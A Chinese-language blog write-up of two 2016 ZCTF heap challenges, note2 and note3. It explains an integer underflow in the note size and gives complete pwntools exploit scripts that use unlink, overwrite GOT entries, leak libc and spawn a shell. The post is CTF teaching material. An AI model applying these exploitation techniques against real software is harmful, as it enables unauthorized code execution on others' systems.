登录后台

页面导航

本文编写于 413 天前,最后修改于 118 天前,其中某些信息可能已经过时。

先知社区:https://xz.aliyun.com/t/6322#toc-6

2016 ZCTF note2

程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

漏洞利用

这道题是利用unlink解决的

注意一下:add(0,'a')这里的malloc(0)会因为内存对齐的原因申请0x10的大小,而由于本程序中这里的size=0是unsign int的类型,当size-1的时候,size会变成65535,这里会发生下溢,就造成越界写入内存

from pwn import *
context.log_level = 'debug'
p = process("./pwn")
elf = ELF('./pwn')
libc = elf.libc
p.sendlineafter('name:\n','at0de')
p.sendlineafter('address:\n','at0de')
def add(size,content):
    p.sendlineafter('option--->>\n',str(1))
    p.sendlineafter('128)\n',str(size))
    p.sendlineafter('content:\n',str(content))
def show(idx):
    p.sendlineafter('option--->>\n',str(2))
    p.sendlineafter('note:\n',str(idx))
def edit(idx,oa,content):
    p.sendlineafter('option--->>\n',str(3))
    p.sendlineafter('note:\n',str(idx))
    p.sendlineafter('append]\n',str(oa))
    p.sendlineafter('TheNewContents:',str(content))
def delete(idx):
    p.sendlineafter('option--->>\n',str(4))
    p.sendlineafter('note:\n',str(idx))

#unlink
ptr = 0x602120
payload = p64(0)+p64(0xa0)+p64(ptr-0x18)+p64(ptr-0x10)
payload = payload.ljust(0x80,'a')
add(0x80,payload)    #0
add(0,'b'*8)        #1
add(0x80,'c'*0x20)    #2
delete(1)
add(0,'b'*0x10+p64(0xa0)+p64(0x90))
delete(2)

#leak libc_base
edit(0,1,'a'*0x18+p64(elf.got['atoi']))
show(0)
libc_base = u64(p.recv(17)[11:].ljust(8,'\x00')) - libc.symbols['atoi']
print hex(libc_base)

#get shell
system_addr = libc_base + libc.symbols['system']
edit(0,1,p64(system_addr))
p.sendline('/bin/sh')
#gdb.attach(p)
p.interactive()

2016 zctf-note3

程序分析

开启了NX和canary保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

功能都有,测试的时候show函数无法使用

1.New note
2.Show note
3.Edit note
4.Delete note
5.Quit

注意这个函数,这里可以利用0-1的下溢出

unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
  char v4; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  v4 = a3;
  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == v4 )
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
}

利用漏洞

这道题使用unlink来解决

刚开始自己尝试做了一半,但还是卡住了

做的时候需要观察内存地址才能更深入地了解程序

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./note3')
elf = ELF('note3')
libc = elf.libc
def add(size,content):
    p.sendlineafter('--->>\n',str(1))
    p.sendlineafter('1024)\n',str(size))    
    p.sendlineafter('content:\n',str(content))
def edit(idx,content):
    p.sendlineafter('--->>\n',str(3))
    p.sendlineafter('note:\n',str(idx))    
    p.sendlineafter('content:\n',str(content))
def delete(idx):
    p.sendlineafter('--->>\n',str(4))
    p.sendlineafter('note:\n',str(idx))
ptr = 0x6020C8
payload = "a"*0x8+p64(0xa0)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*0x60
add(0x80,payload)
add(0,'b')
add(0x80,'c')
delete(1)
add(0,'a'*0x10+p64(0xa0)+p64(0x90))
delete(2)
edit(0,'a'*0x18+p64(elf.got['free'])+p64(elf.got['puts']))
edit(0,p64(elf.plt['puts'])[:-1])    
#点睛     解决了只能包含“\n”只能发送八个字节的问题
#关键点,切记,不能破坏到下一个地址,不然会出错
add(0x20,'/bin/sh\x00')
delete(1)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
edit(0,p64(libc_base + libc.symbols['system'])[:-1])
delete(2)
p.interactive()